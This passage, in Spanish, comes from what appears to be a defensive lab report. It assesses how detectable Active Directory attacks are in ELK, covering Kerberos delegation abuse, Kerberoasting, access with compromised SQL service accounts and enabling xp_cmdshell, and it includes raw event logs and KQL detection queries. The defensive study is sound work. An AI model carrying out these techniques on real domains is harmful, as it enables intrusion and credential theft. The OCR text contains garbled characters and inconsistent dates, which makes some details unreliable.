Impersonation Level: Impersonation New Logon: Security ID: S-1-5-21-2625116736-1513678085-
1295315389-1105 Account Name: svc-web Account Domain: LAB Logon ID: 0x9b4863 Linked
Logon ID: 0x0 Network Account Name: - Network Account Domain: - Logon GUID: {1EF9F263-
137C-10AC-7ACD-8A70893C4B73} Process Information: Process ID: 0x1490 Process Name:




C:\\Windows\\System32\\inetsrv\\InetMgr.exe Network Information: Workstation Name: DELEG-
CLIENT Source Network Address: - Source Port: - Detailed Authentication Information: Logon
Process: Advapi Authentication Package: Negotiate Transited Services: - Package Name (NTLM
only): - Key Length: 0 This event is generated when a logon session is created. It is generated on
the computer that was accessed. The subject fields indicate the account on the local system
which requested the logon. This is most commonly a service such as the Server service, or a local
process such as Winlogon.exe or Services.exe. The logon type field indicates the kind of logon that
occurred. The most common types are 2 (interactive) and 3 (network). The New Logon fields
indicate the account for whom the new logon was created, i.e. the account that was logged on.
The network fields indicate where a remote logon request originated. Workstation names are not
always available and may be left blank in some cases. The impersonation level field indicates the
extent to which a process in the logon session can impersonate. The authentication information
fields provide detailed information about this specific logon request. - Logon GUID is a unique
identifier that can be used to correlate this event with a KDC event. - Transited services indicate
which intermediate services have participated in this logon request. - Package name indicates
which sub-protocol was used among the NTLM protocols. - Key length indicates the length of the
generated session key. This will be 0 if no session key was
requested.""'source_type":"logstash","timestamp":"2025-11-
12T711:56:08.521Z""winlog.activity_id":"{12F58CD8-53C0-0000-7E8D-
F512C053DCO01},"winlog.channel":"Security","winlog.computer_name":"DELEG-
CLIENT.lab.local","winlog.event_data.AuthenticationPackageName":"Negotiate","winlog.event_da

ta.ElevatedToken":"No","winlog.event_data.ImpersonationLevel":"Impersonation","'winlog.event_d

ata.lpAddress":"-""winlog.event_data.lpPort":
""winlog.event_data.KeyLength":"0""winlog.event_data.LmPackageName":"-
""winlog.event_data.LogonGuid":"{1EF9F263-137C-10AC-7ACD-
8A70893C4B73}","'winlog.event_data.LogonProcessName":"Advapi
""winlog.event_data.LogonType":"3","winlog.event_data.Processld":"0x1490","winlog.event_data.
ProcessName":"C:\\Windows\\System32\\inetsrv\\InetMgr.exe","winlog.event_data.RemoteCrede
ntialGuard":"-""winlog.event_data.RestrictedAdminMode":"-
""winlog.event_data.SubjectDomainName":"LAB","winlog.event_data.SubjectLogonld":"Ox4ddee
1""winlog.event_data.SubjectUserName":"lab_admin","winlog.event_data.SubjectUserSid":"S-1-
5-21-2625116736-1513678085-1295315389-
1109""winlog.event_data.TargetDomainName":"LAB","winlog.event_data.TargetLinkedLogonld":"0
x0""winlog.event_data.TargetLogonld":"0x9b4863",'winlog.event_data.TargetOutboundDomainNa
me":"-""winlog.event_data.TargetOutboundUserName":"-""winlog.event_data.TargetUserSid":"S-
1-5-21-2625116736-1513678085-1295315389-1105""winlog.event_data.TransmittedServices":"-
""winlog.event_data.VirtualAccount":"No","winlog.event_data.WorkstationName":"DELEG-
CLIENT","winlog.event_id":"4624""winlog.keywords":"Audit
Success","winlog.opcode":"Info","'winlog.process.pid":"876","winlog.process.thread.id":"7976","wi
nlog.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"29391""winlog.task":"Logon","winlog.version":"3""_id":"GtO9tZoBLJY

00ORQTeHQL""_ignored":"message.keyword")"_index":"vector-2025.11.12""_score":12.18}

El evento refleja una autenticacidn correcta usando la cuenta de servicio svc-web sobre el
sistema DELEG-CLIENT. Uno de los aspectos mas relevantes observados es que la
autenticacién aparece asociada al proceso .

La consulta KQL usada para localizar las autenticaciones relacionadas con la cuenta de servicio
fue:

event.code:4624 AND winlog.event_data.TargetUserName:"svc-web"
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llustracion 54. Eventos de inicio de sesion satisfactorio (Event ID 4624) realizados por la cuenta de servicio svc-web
en el sistema DELEG-CLIENT

En esta imagen se muestran 19 eventos de login satisfactorio ejecutados por la cuenta de
servicio svc-web en DELEG-CLIENT.

Uno de los principales hallazgos observados durante esta fase es que las cuentas de servicio
generan actividad frecuente y completamente legitima dentro del dominio, especialmente en
entornos con aplicaciones web, IIS, servicios automatizados y autenticaciones internas
constantes.

Como consecuencia, el evento 4624 registrado resulta dificil de diferenciar de actividad legitima
ya que la autenticacion fue valida, se us6 una cuenta legitima, el proceso asociado pertenece a
Windows/IIS y no existen indicadores explicitos de actividad maliciosa dentro del propio evento.

Ademas, el uso del paquete de autenticacion Negotiate y niveles normales de impersonacién
refuerza ain mas la apariencia legitimade la actividad observada en los eventos.

Desde la perspectiva defensiva, este comportamiento pone de manifiesto que una vez que se
ha comprometido la cuenta, los atacantes pueden usar mecanismos totalmente validos del
dominio minimizando la generacion de indicadores sospechosos.

Para una deteccidn efectiva de esta actividad se requiere de:

e Correlacién contextual.

e Comportamiento histérico de la cuenta.

e Analisis de accesos inusuales.

e Movimientos laterales posteriores.

e Desviaciones respecto al uso habitual de la cuenta de servicio comprometida.

Por ello, la detectabilidad de esta técnica se considera baja ya que el uso de autenticaciones
legitimas mediante cuentas de servicio dificulta enormemente diferenciar actividad ofensiva de
funcionamiento normal dentro del entorno AD.

Abuso de delegacion Kerberos S4U

Por ultimo, durante esta fase se realizaron técnicas de delegacidén Kerberos mediante
mecanismos S4U (Service for User) con el objetivo de utilizar tickets legitimos del dominio para
acceder a servicios internos usando cuentas de servicio comprometidas. Esta actividad se
relaciona con la técnica del marco MITRE T1550 — Use Alternate Authentication Materialy T1134
—Access Token Manipulation, y técnicas asociadas al abuso de delegacién Kerberos.

Durante el anélisis en ELK se identificaron principalmente:



e EventlD 4769: A Kerberos Service ticket was requested.

Se adjunta log de muestra:

{"event.code":"4769""winlog.event_data.ServiceName":"svc-
sgl02""@metadata.beat":"winlogheat","@metadata.type":"_doc","@metadata.version":"9.2.0"," @t
imestamp":"2025-11-18T18:02:39.009Z","agent.ephemeral_id":"c93b5ea5-73e4-4ec9-8b0d-
8d4ab4059986","agent.id":"957f330b-4ef3-4796-ac55-
17c5f2a4872f""agent.name":"DC01","agent.type":"winlogbeat","agent.version":"9.2.0","ecs.version

":"8.0.0""event.action":"Kerberos Service Ticket Operations","event.created":"2025-11-

18721:52:27.914Z""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-
Windows-Security-Auditing","log.level":"information","message":"A Kerberos service ticket was
requested. Account Information: Account Name: user1@LAB.LOCAL Account Domain:
LAB.LOCAL Logon GUID: {9F65724B-5B91-51EB-B6C5-3145A4203348} Service Information:
Service Name: svc-sql02 Service ID: S-1-5-21-2625116736-1513678085-1295315389-1124
Network Information: Client Address: ::ffff:192.168.109.11 Client Port: 52896 Additional
Information: Ticket Options: 0x40810000 Ticket Encryption Type: 0x17 Failure Code: 0x0 Transited
Services: - This event is generated every time access is requested to a resource such as a
computer or a Windows service. The service name indicates the resource to which access was
requested. This event can be correlated with Windows logon events by comparing the Logon
GUID fields in each event. The logon event occurs on the machine that was accessed, which is
often a different machine than the domain controller which issued the service ticket. Ticket
options, encryption types, and failure codes are defined in RFC
4120.""source_type":"logstash","timestamp":"2025-11-
18T18:02:39.009Z","'winlog.channel":"Security","winlog.computer_name":"DCO01.lab.local","'winlog
.event_data.lpAddress":"::ffff:192.168.109.11","winlog.event_data.lpPort":"52896","winlog.event_
data.LogonGuid":"{9F65724B-5B91-51EB-B6C5-
3145A4203348}","winlog.event_data.ServiceSid":"S-1-5-21-2625116736-1513678085-
1295315389-
1124""winlog.event_data.Status":"0x0","winlog.event_data.TargetDomainName":"LAB.LOCAL","wi
nlog.event_data.TargetUserName":"user1@LAB.LOCAL","winlog.event_data.TicketEncryptionType
":"0x17""winlog.event_data.TicketOptions":"0x40810000","winlog.event_data.TransmittedServices
":"-""winlog.event_id":"4769","winlog.keywords":"Audit
Success","winlog.opcode":"Info","'winlog.process.pid":"772","winlog.process.thread.id":"2792","wi
nlog.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"798028","winlog.task":"Kerberos Service Ticket
Operations","_id":"IBu9mJoBCTnK5MJAhEoM","_ignored":"message.keyword","_index":"vector-
2025.11.18""_score":7.984}

En este evento se muestra una solicitud TGS dirigida al servicio svc-sql02 desde el sistema
192.168.109.11 usando la cuenta user1@LAB.LOCAL.

Desde una perspectiva defensiva uno de los aspectos mas relevantes observados durante esta
fase es que los eventos generados durante el abuso de delegacion Kerberos presentan
caracteristicas practicamente idénticas a las observadas durante autenticaciones legitimas del
dominio.

La consulta KQL usada para localizar solicitudes TGS relacionadas con cuentas de servicio fue:

event.code:4769 AND winlog.event_data.ServiceName: *svc*
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llustracion 55. Eventos Kerberos TGS (Event ID 4769) asociados a solicitudes de tickets de servicio sobre cuentas con
SPN realizadas por el usuario user1 desde CLIENT1

Esta imagen muestra un total de 8 eventos 4769 dirigidos hacia cuentas de servicio con SPNy
generadas por el usuario user1 desde CLIENT1.

Uno de los principales problemas observados durante el andlisis es que funcionalidades como
S4U forman parte del comportamiento normal de Kerberos dentro del AD. Aplicaciones
corporativas, IIS, SQL y otros servicios internos usan mecanismos de delegacidon de forma
legitima para autenticar usuarios contra distintos recursos del dominio.

Como consecuencia, los eventos 4769 generados de esta actividad no contienen indicadores
explicitos que permitan diferenciar facilmente autenticaciones legitimas, solicitudes normales
de servicios, delegacién valida o abuso ofensivo de tickets Kerberos.

Ademas, como se dijo en apartados anteriores, el uso de cuentas validas junto con solicitudes
TGS correctamente autenticadas reduce la generacién de actividad claramente sospechosa
dentro del controlador de dominio.

Por esto la detectabilidad se considera baja, ya que, aunque existen evidencias relacionadas
con solicitudes TGS sobre cuentas de servicio, la actividad observada continda siendo
altamente ambigua y dificil de diferenciar del funcionamiento normal del AD sin capacidad
avanzadas de correlacién y analisis contextual.

Conclusiones de detectabilidad de la fase

La tercera fase del ataque evidencio como muchas técnicas avanzadas contra AD se apoyan
directamente en funcionalidades legitimas del protocolo Kerberos reduciendo la capacidad de
deteccidn basada Unicamente en eventos individuales.

Durante esta etapa, los eventos 4769 proporcionaron la principal fuente de visibilidad sobre
solicitudes TGS dirigidas a cuentas de servicio del dominio. El analisis permitié identificar
peticiones asociadas a servicios concretos como svc-sql02, asi como uso de cifrados RC4-
HMAC frecuentemente relacionados con escenarios de Kerberoasting.

Sin embargo, el analisis también mostro que las solicitudes de tickets Kerberos forma parte del
funcionamiento completamente legitimo de AD. Como consecuencia, la existencia aislada de
eventos 4769 no constituye una evidencia concluyente de actividad ofensiva especialmente en
entornos donde multiples aplicaciones corporativas usan autenticaciones Kerberos y cuentas
de servicio de forma continua.

Ademas, una vez obtenidas las credenciales de las cuentas de servicio, gran parte de la
actividad posterior se registré6 como autenticaciones aparentemente legitimas mediante



eventos 4624 usando cuentas validas y procesos completamente normales del entorno
reduciendo la generacién de indicadores maliciosos.

Otro aspecto relevante observado durante esta fase es la escasa visibilidad disponible frente al
crackeo offline de ticket Kerberos. Una vez extraido el material TGS necesario, el atacante puede
continuar el proceso fuera del dominio sin generar nuevas evidencias monitorizables sobre el
controlador de dominio.

Finalmente, el abuso de delegaciéon Kerberos mediante S4U puso de manifiesto una de las
principales dificultades defensivas en AD, los atacantes pueden operar usando funcionalidades
completamente legitimas del protocolo Kerberos mientras minimizan la generacion de actividad
andomala.

En conjunto esta fase demostré que el abuso de Kerberos constituye uno de los escenarios mas
complejos desde el punto de vista defensivo dentro de AD ya que gran parte de la actividad
ofensiva observada resulta practicamente indistinguible del funcionamiento legitimo del
dominio sin mecanismos de correlacidon y analisis contextual.

Fase 4- Compromiso de servicios SQL y web

Tras obtener acceso mediante cuentas validas y credenciales de servicios comprometidas, la
siguiente fase del ataque estuvo orientada al abuso de servicios internos expuestos dentro del
dominio, especialmente servidores SQL Server e infraestructura IIS.

Durante esta etapa se realizaron autenticaciones contra servicios MSSQL, ejecucidon remota de
consultas y abuso de la aplicacion web interna usando cuentas comprometidas previamente
obtenidas mediante Kerberoasting y enumeracion de AD.

Desde el punto de vista ofensivo, esta fase resulto especialmente compleja debido a que gran
parte de la actividad observada uso protocolos, procesos y autenticaciones totalmente
legitimas dentro del entorno corporativo. Como consecuencia, muchas de las acciones
realizadas generaron eventos validos dificiles de diferencias de administracién normal o
actividad legitima de las aplicaciones.

Acceso a SQL01 mediante credenciales comprometidas

Tras comprometer credenciales validas asociadas a servicios SQL se realizaron autenticaciones
remotas contra el servidor SQLO1 con el objetivo de acceder a bases de datos internas del
entorno corporativo. Esta actividad corresponde con la técnica MITRE T1078 — Valid Accounts 'y
T1213 - Data from Information Repositories.

Durante esta fase se usé la cuenta comprometida svc-sgl para establecer una conexidn legitima
contra un servicio SQL y ejecutar consultas directamente sobre la base de datos corporativa.

Desde una perspectiva defensiva, el acceso realizado genero eventos de autenticacion validos
dentro del controlador de dominio:

e EventlD 4624: An account was successfully logged on.

Se adjunta log de muestra:

{"event.code":"4624""winlog.event_data.TargetUserName":"SQL02$""@metadata.beat":"winlogb
eat""@metadata.type":"_doc","@metadata.version":"9.2.0","@timestamp":"2025-11-
24T16:57:58.610Z""agent.ephemeral_id":"9ab6c6b6-12bf-4aed-ab94-

591f6855499d","agent.id":"957f330b-4ef3-4796-ac55-



17c5f2a4872f""agent.name":"DCO01","agent.type":"winlogbeat","agent.version":"9.2.0","ecs.version
":"8.0.0""event.action":"Logon","event.created":"2025-11-
24T16:57:59.110Z""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-
Windows-Security-Auditing","log.level":"information","message":"An account was successfully
logged on. Subject: Security ID: S-1-0-0 Account Name: - Account Domain: - Logon ID: 0x0 Logon
Information: Logon Type: 3 Restricted Admin Mode: - Virtual Account: No Elevated Token: Yes
Impersonation Level: Impersonation New Logon: Security ID: S-1-5-21-2625116736-1513678085-
1295315389-1122 Account Name: SQL02$ Account Domain: LAB.LOCAL Logon ID: Oxdadb35
Linked Logon ID: 0x0 Network Account Name: - Network Account Domain: - Logon GUID:
{12DB5BF1-C3A3-6990-AAFF-154AEB3587EA} Process Information: Process ID: 0x0 Process
Name: - Network Information: Workstation Name: - Source Network Address: 192.168.109.17
Source Port: 49793 Detailed Authentication Information: Logon Process: Kerberos Authentication
Package: Kerberos Transited Services: - Package Name (NTLM only): - Key Length: 0 This event is
generated when a logon session is created. It is generated on the computer that was accessed.
The subject fields indicate the account on the local system which requested the logon. This is
most commonly a service such as the Server service, or a local process such as Winlogon.exe or
Services.exe. The logon type field indicates the kind of logon that occurred. The most common
types are 2 (interactive) and 3 (network). The New Logon fields indicate the account for whom the
new logon was created, i.e. the account that was logged on. The network fields indicate where a
remote logon request originated. Workstation names are not always available and may be left
blank in some cases. The impersonation level field indicates the extent to which a process in the
logon session can impersonate. The authentication information fields provide detailed
information about this specific logon request. - Logon GUID is a unique identifier that can be used
to correlate this event with a KDC event. - Transited services indicate which intermediate services
have participated in this logon request. - Package name indicates which sub-protocol was used
among the NTLM protocols. - Key length indicates the length of the generated session key. This
will be 0 if no session key was requested.","source_type":"logstash","timestamp":"2025-11-
24T716:57:58.610Z","winlog.channel":"Security","winlog.computer_name":"DCO01.lab.local","winlog
.event_data.AuthenticationPackageName":"Kerberos","winlog.event_data.ElevatedToken":"Yes","
winlog.event_data.ImpersonationLevel":"Impersonation”,"winlog.event_data.lpAddress":"192.168
.109.17""winlog.event_data.lpPort":"49793","winlog.event_data.KeyLength":"0","winlog.event_dat
a.LmPackageName":"-""winlog.event_data.LogonGuid":"{12DB5BF1-C3A3-6990-AAFF-
154AEB3587EA}",'winlog.event_data.LogonProcessName":"Kerberos","winlog.event_data.Process

Id":"0x0","winlog.event_data.ProcessName":"-""winlog.event_data.RestrictedAdminMode":

S'winlog.event_data.SubjectDomainName":
""winlog.event_data.SubjectLogonld":"0x0","winlog.event_data.SubjectUserName":"-
"'winlog.event_data.SubjectUserSid":"S-1-0-
0""'winlog.event_data.TargetDomainName":"LAB.LOCAL","winlog.event_data.TargetLinkedLogonld
":"0Ox0""winlog.event_data.TargetLogonld":"Oxdadb35","'winlog.event_data.TargetOutboundDomai

nName":"-""winlog.event_data.TargetOutboundUserName":
""winlog.event_data.TargetUserSid":"S-1-5-21-2625116736-1513678085-1295315389-

1122""winlog.event_data.TransmittedServices":

Y'winlog.event_data.VirtualAccount":"No","winlog.event_data.WorkstationName":

S'winlog.event_id":"4624""winlog.keywords":"Audit
Success","winlog.opcode":"Info","winlog.process.pid":"776","winlog.process.thread.id":"6444""wi
nlog.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"1513306","winlog.task":"Logon","winlog.version":"2","_id":"S5eWtpoB

ScXz9zJblt7m")"_ignored":"message.keyword","_index":"vector-2025.11.24""_score":5.623}

Este evento refleja una autenticaciéon correcta mediante Kerberos usando la cuenta SQL01$
contra el controlador de dominio DCO1. El Logon Type 3 indica que es un acceso remoto de red
asociado a comunicaciones internas y autenticaciones relacionadas con servicios SQL dentro
del dominio.



La consulta realizada para localizar autenticaciones relacionadas con los servicios SQL fue:

event.code:4624 AND winlog.event_data.TargetUserName: *SQL01$*

Illustracidn 56. Eventos de inicio de sesion satisfactorio (Event ID 4624) sobre cuentas de servicio SQL mediante
autenticacion remota tipo 3 registrados en DCO1

Esta imagen muestra eventos de inicio de sesion satisfactorios registrados en el DC01 que
contienen cuentas de servicios SQL. Ademas, se encuentra en estos eventos que son Logon
Type 3, es decir, inicios de sesién a través de red.

Uno de los aspectos mas relevantes observados durante esta fase es que las autenticaciones
relacionadas con SQL forman parte del funcionamiento completamente normal de
aplicaciones corporativas, automatizaciones backend y comunicaciones internas entre
sistemas. Ademas, las cuentas de maquinay servicios SQL generan autenticaciones
constantes en el entorno AD dificultando enormemente diferenciar la actividad ofensiva del
comportamiento legitimo.

Como consecuencia, y aunque el atacante consiguié acceso real sobre el servicio SQL usando
credenciales comprometidas, los eventos generados contintian presentando caracteristicas
practicamente idénticas a las actividades normales.

Este comportamiento muestra que una de las dificultadas defensivas frente al abuso de
servicios SQL en entornos AD es que el atacante opera usando autenticaciones completamente
validas para minimizar la generacion de actividad claramente sospechosa.

Por ello, la detectabilidad de esta técnica se considera baja ya que, desde la perspectiva del
sistema, la actividad observada se comporta como un acceso legitimo a SQL Server usando
credenciales validas del dominio.

Exposicion de credenciales en base de datos

Una vez obtenido acceso sobre el servidor MSSQL comprometido, se realizaron consultas
dirigidas para localizar informacion sensible y posibles credenciales almacenadas dentro de
bases de datos corporativas. Esta actividad se corresponde principalmente con la técnica
MITRE T1552 - Unsecured Credentials.

Durante esta fase se identificaron tablas potencialmente sensibles dentro de la base de datos
appdb, incluyendo estructuras relacionadas con usuarios y registros internos de la aplicacion. A
diferencia de otras técnicas observadas, esta fase presento una visibilidad practicamente nula



dentro del entorno de monitorizacidn. El principal motivo de esto es que gran parte de la
actividad ofensiva se ejecuté sobre el motor SQL usando consultas completamente legitimas
sin necesidad de generar autenticaciones adicionales o eventos anémalos sobre el controlador
de dominio.

Como consecuencia, la visibilidad depende de:

e Loggins internos de SQL Server (como el analizado previamente).
e Nivel de auditoria SQL habilitado.

e Monitorizacion de consultas sobre tablas sensibles.

e Capacidad de correlacionar eventos de acceso y actividad SQL.

En muchos entornos las operaciones como “SHOW DATABASES, SHOW TABLES, SELECT...” no
generan telemetria dentro del SIEM o Unicamente quedan registradas en logs internos del
propio servidor SQL, como es en nuestro caso.

Desde la perspectiva defensiva, esta caracteristica resulta especialmente relevante ya que una
vez comprometido el servicio MSSQL, el atacante puede continuar realizando enumeraciony
extraccién de informacion sensible usando funcionalidades completamente normales del
motor de base de datos.

El éxito de esta técnica depende de:

e Laexistencia de credenciales almacenadas.

e Permisos asociados a una cuenta comprometida.
e Nivel de segregacion entre servicios y usuarios.

e Auditoria habilitada para consultas SQL.

e Capacidad de monitorizar tablas sensibles.

Este comportamiento nos ensefa que gran parte de la actividad puede ejecutarse usando
consultas completamente legitimas y compatibles con operaciones administrativas normales
sin generar indicadores sospechosos.

Por ello, la detectabilidad de esta técnica se considera nula ya que la visibilidad depende casi
completamente del nivel de auditoria SQL habilitado y de la capacidad del entorno para
monitorizar accesos sobre informacion sensible dentro de las bases de datos.

Acceso a SQL02 mediante credenciales comprometidas

Una vez obtenidas las credenciales validas asociadas a servicios, en este caso SQL, dentro del
dominio, se realizaron autenticaciones remotas contra el servidor SQL02 usando mecanismos
legitimos de Kerberos. Esta actividad se corresponde con MITRE T1078.002 — Domain Accounts.

Durante el anélisis realizado en ELK se identificaron principalmente:
e EventlD 4624: An account was successfully logged on.
Se adjunta log de muestra:

{"event.code":"4624""winlog.event_data.TargetUserName":"SQL02$""@metadata.beat":"winlogb
eat""@metadata.type":"_doc"'@metadata.version":"9.2.1""@timestamp":"2025-12-
10T12:18:33.083Z""agent.ephemeral_id":"9daed569-0d23-4c7e-a395-
5adc1d9f0ac4",'agent.id":"eb9bdf9e-a979-4c11-bc2f-
a65491abdc4a""agent.name":"SQL02""agent.type":"winlogbeat","agent.version":"9.2.1""ecs.versi

on":"8.0.0""event.action":"Logon","event.created":"2025-12-
31T11:02:17.902Z7""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-




Windows-Security-Auditing","log.level":"information","message":"An account was successfully
logged on. Subject: Security ID: S-1-0-0 Account Name: - Account Domain: - Logon ID: 0x0 Logon
Information: Logon Type: 3 Restricted Admin Mode: - Virtual Account: No Elevated Token: Yes
Impersonation Level: Impersonation New Logon: Security ID: S-1-5-18 Account Name: SQL02$
Account Domain: LAB.LOCAL Logon ID: 0xb840c Linked Logon ID: 0x0 Network Account Name: -
Network Account Domain: - Logon GUID: {9A1B5B8E-4F08-591B-C535-767A5B36DA54} Process
Information: Process ID: 0x0 Process Name: - Network Information: Workstation Name: - Source
Network Address: - Source Port: - Detailed Authentication Information: Logon Process: Kerberos
Authentication Package: Kerberos Transited Services: - Package Name (NTLM only): - Key Length:
0 This event is generated when a logon session is created. It is generated on the computer that
was accessed. The subject fields indicate the account on the local system which requested the
logon. This is most commonly a service such as the Server service, or a local process such as
Winlogon.exe or Services.exe. The logon type field indicates the kind of logon that occurred. The
most common types are 2 (interactive) and 3 (network). The New Logon fields indicate the
account for whom the new logon was created, i.e. the account that was logged on. The network
fields indicate where a remote logon request originated. Workstation names are not always
available and may be left blank in some cases. The impersonation level field indicates the extent
to which a process in the logon session can impersonate. The authentication information fields
provide detailed information about this specific logon request. - Logon GUID is a unique identifier
that can be used to correlate this event with a KDC event. - Transited services indicate which
intermediate services have participated in this logon request. - Package name indicates which
sub-protocol was used among the NTLM protocols. - Key length indicates the length of the
generated session key. This will be 0 if no session key was
requested.""source_type":"logstash","timestamp":"2025-12-
10T12:18:33.083Z","'winlog.activity_id":"{04ED7E70-5D31-0001-2D7F-
ED04315DDCO01}","winlog.channel":"Security","winlog.computer_name":"SQL02.lab.local","'winlog
.event_data.AuthenticationPackageName":"Kerberos","winlog.event_data.ElevatedToken":"Yes","
winlog.event_data.ImpersonationLevel":"Impersonation",'"winlog.event_data.lpAddress":"-
""winlog.event_data.lpPort":"-
"'winlog.event_data.KeyLength":"0","winlog.event_data.LmPackageName":"-
""winlog.event_data.LogonGuid":"{9A1B5B8E-4F08-591B-C535-
767A5B36DA54}","winlog.event_data.LogonProcessName":"Kerberos","winlog.event_data.LogonT
ype":"3""winlog.event_data.Processld":"0x0",'winlog.event_data.ProcessName":"-
""winlog.event_data.RestrictedAdminMode":"-""winlog.event_data.SubjectDomainName":"-
""winlog.event_data.SubjectLogonld":"0x0","winlog.event_data.SubjectUserName":"-
"'winlog.event_data.SubjectUserSid":"S-1-0-
0""winlog.event_data.TargetDomainName":"LAB.LOCAL","winlog.event_data.TargetLinkedLogonld
":"0x0","winlog.event_data.TargetLogonld":"0xb840c","winlog.event_data.TargetOutboundDomain
Name":"-""winlog.event_data.TargetOutboundUserName":"-
""winlog.event_data.TargetUserSid":"S-1-5-18","winlog.event_data.TransmittedServices":"-
""winlog.event_data.VirtualAccount":"No","winlog.event_data.WorkstationName":"-
""winlog.event_id":"4624""winlog.keywords":"Audit
Success","winlog.opcode":"Info","'winlog.process.pid":"740","winlog.process.thread.id":"788","winl
og.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"2693","winlog.task":"Logon","winlog.version":"2""_id":"bkK_cZsBkdi8
L3732Zq_")"_ignored":"message.keyword","_index":"vector-2025.12.10""_score":8.266}

Este evento refleja, aligual que con SQLO1, una autenticacion correcta mediante Kerberos
usando en este caso la cuenta SQL02$ directamente sobre el servidor SQL02. El Logon Type 3
evidencia un acceso remoto de red asociado a autenticaciones internas y comunicaciones
relacionadas con servicios MSSQL dentro del dominio

La consulta KLQ usada para localizar autenticaciones relacionadas con el SQL Server fue:



event.code:4624 AND winlog.event_data.TargetUserName:"SQL02$"
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llustracion 57. Eventos de inicio de sesion satisfactorio (Event ID 4624) sobre el sistema SQL02 mediante
autenticacion remota tipo 3 usando la cuenta de méquina SQL02$

En esta imagen se muestran eventos de inicio de sesidn exitosos contra el SQL02 usando la
cuenta maquina SQL02y con Logon Type 3, a través de red.

Se obtuvo las mismas observaciones y analisis que en el apartado “Acceso a SQL01 mediante
credenciales comprometidas” debido a que se trata practicamente de la misma actividad, pero
con distinto objetivo, en nuestro caso actual SQL02.

Por ello la detectabilidad también se considera baja ya que, desde la perspectiva del sistema, la
actividad observada se comporta como una autenticacion legitima SQL Server usando
credenciales validas del dominio.

Activacioén de xp_cmdshell y ejecucion de comandos

Finalmente, durante esta fase se realizé el abuso de las funcionalidades internas de SQL Server

mediante la activacién de xp_cmdshell, permitiendo ejecutar comandos directamente sobre el

sistema operativo desde el propio motor MSSQL. Esta actividad corresponde con MITRE T1059 -
Command and Scripting Interpreter y T1505 - SQL Stored Procedures.

A diferencia de otras técnicas observadas en fases anteriores, la activacion de xp_cmdshell
genero una visibilidad considerablemente maés clara y superior dentro del entorno de
monitorizacion debido a que implica una modificacién explicita de configuracion sobre el
servidor SQL.

Durante el anélisis realizado en ELK se identificé principalmente el evento:
e EventlD 15457: cambio de configuracion SQL Server.
Se adjunta log de muestra:

{"message":"Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE
statement to
install.","winlog.event_data.param0":"xp_cmdshell""@metadata.beat":"winlogbeat","@metadata.t
ype":"_doc","@metadata.version":"9.2.1""@timestamp":"2025-11-
18T18:05:08.6927""agent.ephemeral_id":"95acf7a4-bfd3-4f89-9a26-
9fb125efa66c","agent.id":"eb9bdf9e-a979-4c11-bc2f-

a65491abdc4a""agent.name":"SQL02""agent.type":"winlogbeat","agent.version":"9.2.1","ecs.versi




on":"8.0.0""event.action":"Server","event.code":"15457","event.created":"2025-11-
18T21:58:50.389Z","event.kind":"event","event.provider":"MSSQL$SQL02""log.level":"information"
,'source_type":"logstash","timestamp":"2025-11-
18T18:05:08.692Z7""'winlog.channel":"Application","winlog.computer_name":"SQLO02.lab.local","wi
nlog.event_data.param1":"0""winlog.event_data.param2":"1","winlog.event_data.param3":"613C
00000A0000000C000000530051004C00300032005C00530051004C0030003200000006000000
4C0061006200440042000000FE7F0000","winlog.event_id":"15457""winlog.keywords":"Classic","
winlog.opcode":"Info","winlog.provider_name":"MSSQL$SQL02","winlog.record_id":"1488","winlog
task":"Server","winlog.user.domain":"LAB","winlog.user.identifier":"S-1-5-21-2625116736-
1513678085-1295315389-
1106","winlog.user.name":"user1","winlog.user.type":"User","_id":"hRzDmJoBCTnK5MJAg3HD","_ig
nored":"-""_index":"vector-2025.11.18""_score":17.305}

El evento anterior muestra la activacion de xp_cmdshell sobre el servidor SQL02 usando la
cuenta user1. Uno de los aspectos mas relevantes observados es que SQL Server registra
explicitamente la modificacién de esta configuracion dentro de los logs de aplicacion MSSQL.

La consulta KQL usada para localizar la activacion xp_cmdshell fue:

event.code:15457 AND message: *xp_cmdshell*

Illustracion 58. Evento asociado a la activacion de la funcionalidad xp_cmdshell en el servidor SQL02

Esta imagen muestra un evento de activacion xp_cmdshell dentro del host SQL02.

Desde una perspectiva defensiva, uno de los principales hallazgos observados es que la
activacion de xp_cmdshell constituye un comportamiento altamente sospechoso dentro de la
mayoria de los entornos modernos.

Aunque esta funcionalidad puede usarse legitimamente para tareas administrativas concretas,
en la practica suele permanecer desactivada, su uso esta fuertemente restringido y constituye
uno de los mecanismos mas habituales para el abuso ofensivo de SQL Server.

Ademas, una vez habilitado, el atacante puede ejecutar cmd[.]Jexe poweshell[.]exe, scripts,
herramientas de postexplotacidon, comandos en el sistema operativos... directamente desde el
contexto del servicio MSSQL.

Otro aspecto especialmente relevante es que esta actividad puede correlacionarse facilmente
con:

e Procesos hijos como sqlservr[.]exe.
e Eventos Sysmon.

e Ejecucion PowerShell.

e Conexiones de red posteriores.

Como consecuencia esta técnica proporciona una visibilidad significativamente superior al
resto. Esta técnica nos ensefa que las funcionalidades peligrosas de SQL Server pueden



convertirse en mecanismos de ejecucién remota altamente detectables cuando existe
monitorizaciéon adecuada.

Es por esto que la detectabilidad de esta técnica se considera alta ya que la activaciéon de
xp_cmdshell constituye un comportamiento claramente andmalo y facilmente identificable
dentro de entornos SQL monitorizados.

Conclusiones de detectabilidad de la fase

La cuarta fase del ataque, evidencio como el comportamiento de servicios corporativos como
MSSQL y aplicaciones web permiten al atacante operar usando protocolos, autenticacionesy
funcionalidades completamente legitimas dentro del entorno AD.

Durante esta etapa, gran parte de la actividad ofensiva se apoyo en cuentas validas 'y
autenticaciones Kerberos correctamente registradas mediante eventos 4624, reduciendo la
generacion de indicadores maliciosos dentro del SIEM. Tanto el acceso a SQL01 como las
autenticaciones sobre SQL02 presentaron caracteristicas practicamente idénticas a las
